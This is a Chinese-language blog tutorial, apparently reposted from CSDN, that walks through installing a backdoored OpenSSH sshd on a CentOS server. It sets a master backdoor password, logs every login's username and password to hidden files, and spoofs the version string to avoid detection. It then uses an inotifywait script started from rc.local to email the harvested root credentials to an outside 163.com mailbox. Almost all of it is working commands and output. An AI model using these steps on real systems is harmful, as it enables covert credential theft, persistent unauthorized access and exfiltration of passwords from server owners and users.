ssh劫持root密码发送到邮箱(个人的)

简述思路:
			在服务器上安装一个打了后门补丁的sshd服务,
			当用户来连接时,直接把密码记录下来。然后  使用脚本发给我们的邮箱中。

在这里插入图片描述
一、准备环境

一台 centos6 服务器

1.查看ssh版本

[root@ localhost ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

2.确认gcc是否已安装

[root@ localhost ~]# gcc -v
Using built-in specs.
gcc version 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC) 
如果没有安装:
		yum -y install  gcc

二、上传压缩包到linux 的 /tmp 目录

[root@ localhost tmp]# ll
  			0x06-openssh-5.9p1.patch.tar.gz
  			inotify-tools-3.13.tar.gz
 		    openssh-5.9p1.tar.gz

1、cd /tmp/ 解压

[root@ localhost tmp]# tar zxvf openssh-5.9p1.tar.gz
[root@ localhost tmp]#tar zxvf 0x06-openssh-5.9p1.patch.tar.gz 

2、开始打补丁

[root@ localhost tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[root@ localhost tmp]#cd openssh-5.9p1
[root@ localhost openssh-5.9p1]# patch < sshbd5.9p1.diff   #打补就修改或者替换原来的文件
patching file auth.c   #认证
patching file auth-pam.c   #认证
patching file auth-passwd.c   #认证
patching file canohost.c  
patching file includes.h
patching file log.c
patching file servconf.c    #关于sshd服务端
patching file sshconnect2.c  #关于sshd连接
patching file sshlogin.c   #关于登录,把root密码记录下来
patching file version.h   #关于版本

3、修改后门密码和记录root密码的文件夹目录

 vim /tmp/openssh-5.9p1/includes.h 
   找到
改:
177  #define ILOG "/tmp/ilog"       #记录登录到本机的用户名和密码
178  #define OLOG "/tmp/olog"     #记录从本机登录到其他服务器上的用户名和密码
179  #define SECRETPW "apaajaboleh"    #你后门密码
为:
177 #define ILOG "/usr/share/ifile"
178 #define OLOG "/usr/share/ofile"
179 #define SECRETPW "myname"

原来系统的版本::

[root@ localhost ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

4、为了使用安后的版本和原系统的版本一样,修改版本号:

[root@ localhost ~]# vim /tmp/openssh-5.9p1/version.h
改:
  3 #define SSH_VERSION     "OpenSSH_5.8p1 Debian-1ubuntu3"
  4
  5 #define SSH_PORTABLE    "p1":
  3 #define SSH_VERSION     " OpenSSH_5.3"
  4
  5 #define SSH_PORTABLE    "p1"

5、安装打了后门补丁的sshd服务

[root@ localhost ~]# yum install -y openssl openssl-devel pam-devel zlib zlib-deve
开始安装:
[root@ localhost ~]# cd /tmp/
[root@ localhost tmp]# cd openssh-5.9p1
[root@ localhost openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

参数说明:
--prefix=/usr  #指定安装到/usr 目录下
--sysconfdir=/etc/ssh  #指定sshd服务配置文件目录
--with-pam  #支持pam认证
--with-kerberos5  #支持kerberos认证

[root@ localhost openssh-5.9p1]#  make -j 4 && make install

扩展: 通过rpm -Vf 检查命令是否被替换
[root@ localhost openssh-5.9p1]# rpm -Vf /usr/bin/scp
S.5....T.    /usr/bin/scp
S.5....T.    /usr/bin/sftp
S.5....T.    /usr/bin/ssh
S.5....T.    /usr/bin/ssh-add
SM5...GT.    /usr/bin/ssh-agent
S.5....T.    /usr/bin/ssh-keyscan

可以看到很多ssh协议相关的命令,都被我们安装的sshd服务相关的命令替换了。这是黑客经常做的事情。

6、重启sshd服务:

[root@ localhost openssh-5.9p1]# service sshd restart

7、测试劫持密码

测试前,发现/usr/share/ifile文件没有存在
[root@zmedu63 ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory

8.使用xshell登录zmedu63,模拟远程登录
在这里插入图片描述
9、另外我们也可以使用后门密码来登录root帐号

[root@ localhost ~]# ssh root@10.0.0.20   myname
[root@ localhost ~]# cat /usr/share/ofile    #查看记录从zmedu64登录到远程主机的密码
user:password@host --> root:123456@10.0.0.20
user:password@host --> root:myname@10.0.0.20

二、自动发现邮件

     这里以163的smtp服务器为例,实现自动发送邮件有以下两种方法:
     
   方法1:通过sendmail或postfix给自己发邮件。 缺点: 需要开服务
   方法2:LINUX下通过外部SMTP服务器发邮件,就像在Linux安装一个foxmail。

1、使用mail.rc实现发邮件

[root@ localhost ~]# vim /etc/mail.rc    #在此文件中间,随机找个位置插入以下内容: 
下面的邮箱用的是 个人网易163 邮箱进行测试

set from=wangyi@163.com  smtp=smtp.163.com  
set smtp-auth-user=wangyi  smtp-auth-password=PASSWORD smtp-auth=login

set from=wangyi@163.com  #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
set smtp-auth-user=wangyi  #写自己发件人的邮箱帐号
smtp-auth-password=PASSWORD   #写自己发件人的邮箱授权码

2、配置163邮箱,开启pop3/smtp服务
登录mail.163.com网站
点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)
在这里插入图片描述
点击开启POP3/SMTP/IMAP服务
在这里插入图片描述
勾选POP3/SMTP服务,随后弹出提醒相关信息,点击确定
在这里插入图片描述
勾选开启,随后需要设置客户端授权,需要手机以短信形式获取验证码,获取验证后,输入验证码并点击确定
在这里插入图片描述
设置授权密码,此密码用于第三方邮件客户端使用,既在linux主机实验中发送邮件也是使用该密码
在这里插入图片描述
设置第三方邮件客户端密码完成后,随后出现设置授权提示,点击确定即可完成设置
3、测试邮件发送

[root@ localhost ~]# mail -s "kime nei da lei" wangyi@163.com < /usr/share/ifile

查看:

在这里插入图片描述
4、编写shell脚本自动发邮件,邮件的主题是服务器的IP地址

[root@ localhost ~]# vim /bin/zipmail
#!/bin/bash
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip wangyi@163.com < /usr/share/ifile

[root@ localhost ~]# chmod +x /bin/zipmail 

5、测试

[root@ localhost ~]# /bin/zipmail
发现也可以收到邮件,说明成功。

四、实现当用户修改密码后,自动发邮件
1、安装inotify

[root@ localhost ~]# cd /tmp/
[root@ localhost inotify-tools-3.13]# tar -zxvf inotify-tools-3.13.tar.gz
[root@ localhost tmp]# cd inotify-tools-3.13
[root@ localhost inotify-tools-3.13]#./configure    #检查安装环境
[root@ localhost inotify-tools-3.13]#make -j 4   #make编译,将源代码编译成二进制,可执行的文件   # -j  4 使用4个CPU一起编译。
[root@ localhost inotify-tools-3.13]# make  install   #安装

2、编写触发式自动发邮件脚本

[root@ localhost ~]# vim /bin/zipmail
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip wangyi@163.com < /usr/share/ifile
done

4、设置开机启动zipmail脚本

[root@ localhost ~]# vim /etc/rc.local  #在此文件的最后插入以下内容。
/bin/zipmail &

5、测试

[root@ localhost ~]# bash /etc/rc.local #可以运行

6、排查

[root@ localhost ~]# ps -aux |grep inoti
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root      41545  0.0  0.0   6232   536 pts/1    S    12:20   0:00 /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile
root      41549  0.0  0.0 103316   840 pts/1    S+   12:21   0:00 grep --color=auto inoti

以上既是 ssh劫持root密码发送到我的邮箱

发布了21 篇原创文章 · 获赞 6 · 访问量 1693

猜你喜欢

转载自blog.csdn.net/SKTONE_SHUAI/article/details/104316584